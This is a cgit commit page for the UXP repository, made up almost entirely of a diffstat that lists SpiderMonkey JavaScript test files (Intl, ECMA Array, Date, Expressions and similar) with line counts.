summaryrefslogtreecommitdiffstats
path: root/js/src/tests
diff options
context:
space:
mode:
authorMatt A. Tobin <mattatobin@localhost.localdomain>2018-02-02 04:16:08 -0500
committerMatt A. Tobin <mattatobin@localhost.localdomain>2018-02-02 04:16:08 -0500
commit5f8de423f190bbb79a62f804151bc24824fa32d8 (patch)
tree10027f336435511475e392454359edea8e25895d /js/src/tests
parent49ee0794b5d912db1f95dce6eb52d781dc210db5 (diff)
downloadUXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar.gz
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar.lz
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.tar.xz
UXP-5f8de423f190bbb79a62f804151bc24824fa32d8.zip
Add m-esr52 at 52.6.0
Diffstat (limited to 'js/src/tests')
-rw-r--r--js/src/tests/Intl/Array/shell.js0
-rw-r--r--js/src/tests/Intl/Array/toLocaleString-date.js53
-rw-r--r--js/src/tests/Intl/Array/toLocaleString-number.js34
-rw-r--r--js/src/tests/Intl/Array/toLocaleString.js35
-rw-r--r--js/src/tests/Intl/Collator/browser.js0
-rw-r--r--js/src/tests/Intl/Collator/compare.js129
-rw-r--r--js/src/tests/Intl/Collator/shell.js0
-rw-r--r--js/src/tests/Intl/Collator/supportedLocalesOf.js355
-rw-r--r--js/src/tests/Intl/Date/browser.js0
-rw-r--r--js/src/tests/Intl/Date/shell.js0
-rw-r--r--js/src/tests/Intl/Date/toLocaleDateString_timeZone.js77
-rw-r--r--js/src/tests/Intl/Date/toLocaleString_timeZone.js77
-rw-r--r--js/src/tests/Intl/Date/toLocaleTimeString_timeZone.js77
-rw-r--r--js/src/tests/Intl/DateTimeFormat/browser.js0
-rw-r--r--js/src/tests/Intl/DateTimeFormat/format.js36
-rw-r--r--js/src/tests/Intl/DateTimeFormat/formatToParts.js170
-rw-r--r--js/src/tests/Intl/DateTimeFormat/format_timeZone.js104
-rw-r--r--js/src/tests/Intl/DateTimeFormat/shell.js0
-rw-r--r--js/src/tests/Intl/DateTimeFormat/supportedLocalesOf.js371
-rw-r--r--js/src/tests/Intl/DateTimeFormat/timeZone.js152
-rw-r--r--js/src/tests/Intl/DateTimeFormat/timeZone_backward_links.js134
-rw-r--r--js/src/tests/Intl/DateTimeFormat/timeZone_backzone.js115
-rw-r--r--js/src/tests/Intl/DateTimeFormat/timeZone_backzone_links.js38
-rw-r--r--js/src/tests/Intl/DateTimeFormat/timeZone_notbackward_links.js51
-rw-r--r--js/src/tests/Intl/NumberFormat/StringBuffer.js17
-rw-r--r--js/src/tests/Intl/NumberFormat/browser.js0
-rw-r--r--js/src/tests/Intl/NumberFormat/duplicate-singleton-variant.js49
-rw-r--r--js/src/tests/Intl/NumberFormat/format-as-code-or-name.js75
-rw-r--r--js/src/tests/Intl/NumberFormat/format.js47
-rw-r--r--js/src/tests/Intl/NumberFormat/remove-unicode-extensions.js24
-rw-r--r--js/src/tests/Intl/NumberFormat/shell.js0
-rw-r--r--js/src/tests/Intl/NumberFormat/significantDigitsOfZero.js36
-rw-r--r--js/src/tests/Intl/NumberFormat/supportedLocalesOf.js371
-rw-r--r--js/src/tests/Intl/README.txt27
-rw-r--r--js/src/tests/Intl/TypedArray/shell.js0
-rw-r--r--js/src/tests/Intl/TypedArray/toLocaleString.js103
-rw-r--r--js/src/tests/Intl/browser.js0
-rw-r--r--js/src/tests/Intl/extensions/browser.js0
-rw-r--r--js/src/tests/Intl/extensions/options-value-emulates-undefined.js35
-rw-r--r--js/src/tests/Intl/extensions/shell.js0
-rw-r--r--js/src/tests/Intl/four-letter-language-codes.js20
-rw-r--r--js/src/tests/Intl/getCalendarInfo.js83
-rw-r--r--js/src/tests/Intl/getCanonicalLocales-overridden-arg-length.js20
-rw-r--r--js/src/tests/Intl/getCanonicalLocales-overridden-push.js16
-rw-r--r--js/src/tests/Intl/getCanonicalLocales-overridden-set.js16
-rw-r--r--js/src/tests/Intl/getCanonicalLocales-weird-cases.js24
-rw-r--r--js/src/tests/Intl/getCanonicalLocales-with-duplicates.js15
-rw-r--r--js/src/tests/Intl/getCanonicalLocales.js37
-rw-r--r--js/src/tests/Intl/shell.js0
-rw-r--r--js/src/tests/Makefile.in44
-rw-r--r--js/src/tests/README.txt54
-rw-r--r--js/src/tests/browser.js601
-rw-r--r--js/src/tests/compare_bench.py77
-rw-r--r--js/src/tests/dupl-prop-changes.diff308
-rw-r--r--js/src/tests/ecma/Array/15.4-1.js99
-rw-r--r--js/src/tests/ecma/Array/15.4-2.js80
-rw-r--r--js/src/tests/ecma/Array/15.4.1.1.js77
-rw-r--r--js/src/tests/ecma/Array/15.4.1.2.js128
-rw-r--r--js/src/tests/ecma/Array/15.4.1.3.js50
-rw-r--r--js/src/tests/ecma/Array/15.4.1.js98
-rw-r--r--js/src/tests/ecma/Array/15.4.2.1-1.js78
-rw-r--r--js/src/tests/ecma/Array/15.4.2.1-2.js67
-rw-r--r--js/src/tests/ecma/Array/15.4.2.1-3.js103
-rw-r--r--js/src/tests/ecma/Array/15.4.2.2-1.js149
-rw-r--r--js/src/tests/ecma/Array/15.4.2.2-2.js84
-rw-r--r--js/src/tests/ecma/Array/15.4.2.3.js67
-rw-r--r--js/src/tests/ecma/Array/15.4.3.1-2.js47
-rw-r--r--js/src/tests/ecma/Array/15.4.3.2.js28
-rw-r--r--js/src/tests/ecma/Array/15.4.4.1.js29
-rw-r--r--js/src/tests/ecma/Array/15.4.4.2.js76
-rw-r--r--js/src/tests/ecma/Array/15.4.4.3-1.js127
-rw-r--r--js/src/tests/ecma/Array/15.4.4.3-2.js39
-rw-r--r--js/src/tests/ecma/Array/15.4.4.4-1.js250
-rw-r--r--js/src/tests/ecma/Array/15.4.4.4-2.js133
-rw-r--r--js/src/tests/ecma/Array/15.4.4.5-1.js191
-rw-r--r--js/src/tests/ecma/Array/15.4.4.5-2.js193
-rw-r--r--js/src/tests/ecma/Array/15.4.4.5-3.js148
-rw-r--r--js/src/tests/ecma/Array/15.4.4.js40
-rw-r--r--js/src/tests/ecma/Array/15.4.5.1-1.js138
-rw-r--r--js/src/tests/ecma/Array/15.4.5.1-2.js118
-rw-r--r--js/src/tests/ecma/Array/15.4.5.2-1.js52
-rw-r--r--js/src/tests/ecma/Array/15.4.5.2-2.js93
-rw-r--r--js/src/tests/ecma/Array/array-length-set-during-for-in.js10
-rw-r--r--js/src/tests/ecma/Array/array-length-set-on-nonarray.js26
-rw-r--r--js/src/tests/ecma/Array/browser.js0
-rw-r--r--js/src/tests/ecma/Array/shell.js0
-rw-r--r--js/src/tests/ecma/Boolean/15.6.1.js62
-rw-r--r--js/src/tests/ecma/Boolean/15.6.2.js127
-rw-r--r--js/src/tests/ecma/Boolean/15.6.3.1-1.js38
-rw-r--r--js/src/tests/ecma/Boolean/15.6.3.1-2.js37
-rw-r--r--js/src/tests/ecma/Boolean/15.6.3.1-3.js37
-rw-r--r--js/src/tests/ecma/Boolean/15.6.3.1-4.js41
-rw-r--r--js/src/tests/ecma/Boolean/15.6.3.1.js35
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4-1.js38
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.1.js28
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.2-1.js63
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.2-2.js39
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.2-3.js31
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.2-4-n.js35
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.3-1.js54
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.3-2.js33
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.3-3.js32
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.3-4-n.js35
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.3.js49
-rw-r--r--js/src/tests/ecma/Boolean/15.6.4.js46
-rw-r--r--js/src/tests/ecma/Boolean/browser.js0
-rw-r--r--js/src/tests/ecma/Boolean/shell.js0
-rw-r--r--js/src/tests/ecma/Date/15.9.1.1-1.js61
-rw-r--r--js/src/tests/ecma/Date/15.9.1.1-2.js56
-rw-r--r--js/src/tests/ecma/Date/15.9.1.13-1.js44
-rw-r--r--js/src/tests/ecma/Date/15.9.2.1.js140
-rw-r--r--js/src/tests/ecma/Date/15.9.2.2-1.js52
-rw-r--r--js/src/tests/ecma/Date/15.9.2.2-2.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.2.2-3.js52
-rw-r--r--js/src/tests/ecma/Date/15.9.2.2-4.js48
-rw-r--r--js/src/tests/ecma/Date/15.9.2.2-5.js52
-rw-r--r--js/src/tests/ecma/Date/15.9.2.2-6.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.3.1-1.js205
-rw-r--r--js/src/tests/ecma/Date/15.9.3.1-2.js118
-rw-r--r--js/src/tests/ecma/Date/15.9.3.1-3.js107
-rw-r--r--js/src/tests/ecma/Date/15.9.3.1-4.js117
-rw-r--r--js/src/tests/ecma/Date/15.9.3.1-5.js106
-rw-r--r--js/src/tests/ecma/Date/15.9.3.2-1.js116
-rw-r--r--js/src/tests/ecma/Date/15.9.3.2-2.js107
-rw-r--r--js/src/tests/ecma/Date/15.9.3.2-3.js111
-rw-r--r--js/src/tests/ecma/Date/15.9.3.2-4.js108
-rw-r--r--js/src/tests/ecma/Date/15.9.3.2-5.js105
-rw-r--r--js/src/tests/ecma/Date/15.9.3.8-1.js121
-rw-r--r--js/src/tests/ecma/Date/15.9.3.8-2.js119
-rw-r--r--js/src/tests/ecma/Date/15.9.3.8-3.js126
-rw-r--r--js/src/tests/ecma/Date/15.9.3.8-4.js127
-rw-r--r--js/src/tests/ecma/Date/15.9.3.8-5.js127
-rw-r--r--js/src/tests/ecma/Date/15.9.4.2-1.js48
-rw-r--r--js/src/tests/ecma/Date/15.9.4.2.js157
-rw-r--r--js/src/tests/ecma/Date/15.9.4.3.js151
-rw-r--r--js/src/tests/ecma/Date/15.9.5.1.js29
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-1.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-10.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-11.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-12.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-13.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-2.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-3.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-4.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-5.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-6.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-7.js51
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-8.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.10-9.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-1.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-2.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-3.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-4.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-5.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-6.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.11-7.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-1.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-2.js44
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-3.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-4.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-5.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-6.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-7.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.12-8.js37
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-1.js45
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-2.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-3.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-4.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-5.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-6.js43
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-7.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.13-8.js37
-rw-r--r--js/src/tests/ecma/Date/15.9.5.14.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.15.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.16.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.17.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.18.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.19.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.2-1.js117
-rw-r--r--js/src/tests/ecma/Date/15.9.5.2.js117
-rw-r--r--js/src/tests/ecma/Date/15.9.5.20.js54
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-1.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-2.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-3.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-4.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-5.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-6.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-7.js36
-rw-r--r--js/src/tests/ecma/Date/15.9.5.21-8.js37
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-1.js55
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-2.js40
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-3.js40
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-4.js40
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-5.js40
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-6.js40
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-7.js40
-rw-r--r--js/src/tests/ecma/Date/15.9.5.22-8.js38
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-1.js105
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-10.js105
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-11.js106
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-12.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-13.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-14.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-15.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-16.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-17.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-18.js103
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-2.js75
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-3-n.js45
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-4.js78
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-5.js79
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-6.js78
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-7.js79
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-8.js69
-rw-r--r--js/src/tests/ecma/Date/15.9.5.23-9.js69
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-1.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-2.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-3.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-4.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-5.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-6.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-7.js101
-rw-r--r--js/src/tests/ecma/Date/15.9.5.24-8.js100
-rw-r--r--js/src/tests/ecma/Date/15.9.5.25-1.js140
-rw-r--r--js/src/tests/ecma/Date/15.9.5.26-1.js149
-rw-r--r--js/src/tests/ecma/Date/15.9.5.27-1.js149
-rw-r--r--js/src/tests/ecma/Date/15.9.5.28-1.js163
-rw-r--r--js/src/tests/ecma/Date/15.9.5.29-1.js158
-rw-r--r--js/src/tests/ecma/Date/15.9.5.3-1-n.js46
-rw-r--r--js/src/tests/ecma/Date/15.9.5.3-2.js70
-rw-r--r--js/src/tests/ecma/Date/15.9.5.30-1.js158
-rw-r--r--js/src/tests/ecma/Date/15.9.5.31-1.js188
-rw-r--r--js/src/tests/ecma/Date/15.9.5.32-1.js107
-rw-r--r--js/src/tests/ecma/Date/15.9.5.33-1.js111
-rw-r--r--js/src/tests/ecma/Date/15.9.5.34-1.js149
-rw-r--r--js/src/tests/ecma/Date/15.9.5.35-1.js106
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-1.js131
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-2.js130
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-3.js129
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-4.js129
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-5.js129
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-6.js129
-rw-r--r--js/src/tests/ecma/Date/15.9.5.36-7.js129
-rw-r--r--js/src/tests/ecma/Date/15.9.5.37-1.js139
-rw-r--r--js/src/tests/ecma/Date/15.9.5.37-2.js127
-rw-r--r--js/src/tests/ecma/Date/15.9.5.37-3.js130
-rw-r--r--js/src/tests/ecma/Date/15.9.5.37-4.js129
-rw-r--r--js/src/tests/ecma/Date/15.9.5.37-5.js125
-rw-r--r--js/src/tests/ecma/Date/15.9.5.4-1.js59
-rw-r--r--js/src/tests/ecma/Date/15.9.5.4-2-n.js42
-rw-r--r--js/src/tests/ecma/Date/15.9.5.5.js78
-rw-r--r--js/src/tests/ecma/Date/15.9.5.6.js70
-rw-r--r--js/src/tests/ecma/Date/15.9.5.7.js71
-rw-r--r--js/src/tests/ecma/Date/15.9.5.8.js80
-rw-r--r--js/src/tests/ecma/Date/15.9.5.9.js80
-rw-r--r--js/src/tests/ecma/Date/15.9.5.js52
-rw-r--r--js/src/tests/ecma/Date/browser.js0
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-1-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-2-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-3-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-4-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-5-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-6-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-7-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/dst-offset-caching-8-of-8.js6
-rw-r--r--js/src/tests/ecma/Date/shell.js149
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.3-1.js73
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.3-2.js39
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.3.js136
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-1.js76
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-10.js70
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-2.js78
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-3.js76
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-4.js78
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-5.js77
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-6.js66
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-7.js77
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.4-8.js78
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.5-1.js84
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.5-2.js66
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.5-3.js95
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.5-4.js57
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.8-2.js86
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.1.8-3.js31
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.2.1.js51
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.2.2-1.js89
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.2.2-2.js100
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.2.3-1.js52
-rw-r--r--js/src/tests/ecma/ExecutionContexts/10.2.3-2.js58
-rw-r--r--js/src/tests/ecma/ExecutionContexts/browser.js0
-rw-r--r--js/src/tests/ecma/ExecutionContexts/shell.js0
-rw-r--r--js/src/tests/ecma/Expressions/11.1.1.js103
-rw-r--r--js/src/tests/ecma/Expressions/11.10-1.js236
-rw-r--r--js/src/tests/ecma/Expressions/11.10-2.js235
-rw-r--r--js/src/tests/ecma/Expressions/11.10-3.js234
-rw-r--r--js/src/tests/ecma/Expressions/11.12-1.js76
-rw-r--r--js/src/tests/ecma/Expressions/11.12-2-n.js40
-rw-r--r--js/src/tests/ecma/Expressions/11.12-3.js37
-rw-r--r--js/src/tests/ecma/Expressions/11.12-4.js37
-rw-r--r--js/src/tests/ecma/Expressions/11.13.1.js38
-rw-r--r--js/src/tests/ecma/Expressions/11.13.2-1.js197
-rw-r--r--js/src/tests/ecma/Expressions/11.13.2-2.js219
-rw-r--r--js/src/tests/ecma/Expressions/11.13.2-3.js266
-rw-r--r--js/src/tests/ecma/Expressions/11.13.2-4.js103
-rw-r--r--js/src/tests/ecma/Expressions/11.13.2-5.js103
-rw-r--r--js/src/tests/ecma/Expressions/11.13.js52
-rw-r--r--js/src/tests/ecma/Expressions/11.14-1.js39
-rw-r--r--js/src/tests/ecma/Expressions/11.2.1-1.js238
-rw-r--r--js/src/tests/ecma/Expressions/11.2.1-2.js94
-rw-r--r--js/src/tests/ecma/Expressions/11.2.1-3-n.js94
-rw-r--r--js/src/tests/ecma/Expressions/11.2.1-4-n.js94
-rw-r--r--js/src/tests/ecma/Expressions/11.2.1-5.js94
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-1-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-1.js66
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-10-n.js68
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-11.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-2-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-3-n.js66
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-4-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-5-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-6-n.js69
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-7-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-8-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.2-9-n.js70
-rw-r--r--js/src/tests/ecma/Expressions/11.2.3-1.js91
-rw-r--r--js/src/tests/ecma/Expressions/11.2.3-2-n.js60
-rw-r--r--js/src/tests/ecma/Expressions/11.2.3-3-n.js57
-rw-r--r--js/src/tests/ecma/Expressions/11.2.3-4-n.js57
-rw-r--r--js/src/tests/ecma/Expressions/11.2.3-5.js51
-rw-r--r--js/src/tests/ecma/Expressions/11.3.1.js119
-rw-r--r--js/src/tests/ecma/Expressions/11.3.2.js119
-rw-r--r--js/src/tests/ecma/Expressions/11.4.1.js58
-rw-r--r--js/src/tests/ecma/Expressions/11.4.2.js49
-rw-r--r--js/src/tests/ecma/Expressions/11.4.3.js77
-rw-r--r--js/src/tests/ecma/Expressions/11.4.4.js122
-rw-r--r--js/src/tests/ecma/Expressions/11.4.5.js120
-rw-r--r--js/src/tests/ecma/Expressions/11.4.6.js265
-rw-r--r--js/src/tests/ecma/Expressions/11.4.7-01.js265
-rw-r--r--js/src/tests/ecma/Expressions/11.4.7-02.js54
-rw-r--r--js/src/tests/ecma/Expressions/11.4.8.js181
-rw-r--r--js/src/tests/ecma/Expressions/11.4.9.js57
-rw-r--r--js/src/tests/ecma/Expressions/11.5.1.js81
-rw-r--r--js/src/tests/ecma/Expressions/11.5.2.js120
-rw-r--r--js/src/tests/ecma/Expressions/11.5.3.js127
-rw-r--r--js/src/tests/ecma/Expressions/11.6.1-1.js126
-rw-r--r--js/src/tests/ecma/Expressions/11.6.1-2.js130
-rw-r--r--js/src/tests/ecma/Expressions/11.6.1-3.js116
-rw-r--r--js/src/tests/ecma/Expressions/11.6.2-1.js131
-rw-r--r--js/src/tests/ecma/Expressions/11.6.3.js81
-rw-r--r--js/src/tests/ecma/Expressions/11.7.1.js194
-rw-r--r--js/src/tests/ecma/Expressions/11.7.2.js212
-rw-r--r--js/src/tests/ecma/Expressions/11.7.3.js196
-rw-r--r--js/src/tests/ecma/Expressions/11.8.1.js87
-rw-r--r--js/src/tests/ecma/Expressions/11.8.2.js87
-rw-r--r--js/src/tests/ecma/Expressions/11.8.3.js86
-rw-r--r--js/src/tests/ecma/Expressions/11.8.4.js87
-rw-r--r--js/src/tests/ecma/Expressions/11.9.1.js125
-rw-r--r--js/src/tests/ecma/Expressions/11.9.2.js125
-rw-r--r--js/src/tests/ecma/Expressions/11.9.3.js125
-rw-r--r--js/src/tests/ecma/Expressions/browser.js0
-rw-r--r--js/src/tests/ecma/Expressions/shell.js0
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.1.1-1.js102
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.1.1-2.js149
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.1.1-3.js65
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.2.1-1.js98
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.2.1-2.js73
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.2.1-3.js61
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.3.1-2.js36
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.3.1-3.js45
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.3.1-4.js36
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.3.2.js28
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.4-1.js60
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.4.1.js27
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.4.js47
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.5-1.js83
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.5-2.js56
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.5.1.js49
-rw-r--r--js/src/tests/ecma/FunctionObjects/15.3.5.3.js38
-rw-r--r--js/src/tests/ecma/FunctionObjects/browser.js0
-rw-r--r--js/src/tests/ecma/FunctionObjects/shell.js0
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1-1-n.js36
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1-2-n.js33
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.1.1.js29
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.1.2.js28
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.1-2.js32
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.2-1.js363
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.2-2.js209
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.3-1.js405
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.3-2.js257
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.4.js169
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.5-1.js170
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.5-2.js149
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.5-3.js173
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.6.js89
-rw-r--r--js/src/tests/ecma/GlobalObject/15.1.2.7.js94
-rw-r--r--js/src/tests/ecma/GlobalObject/browser.js0
-rw-r--r--js/src/tests/ecma/GlobalObject/shell.js0
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.1-1.js48
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.1-2.js39
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.1-3.js55
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.2-1.js39
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.2-2-n.js40
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.2-3-n.js40
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.2-4-n.js39
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.2-5-n.js38
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.2-6.js34
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-1.js57
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-10.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-11.js32
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-12.js30
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-13-n.js32
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-2.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-3.js31
-rw-r--r--js/src/tests/ecma/LexicalConventions/7.3-4.js31
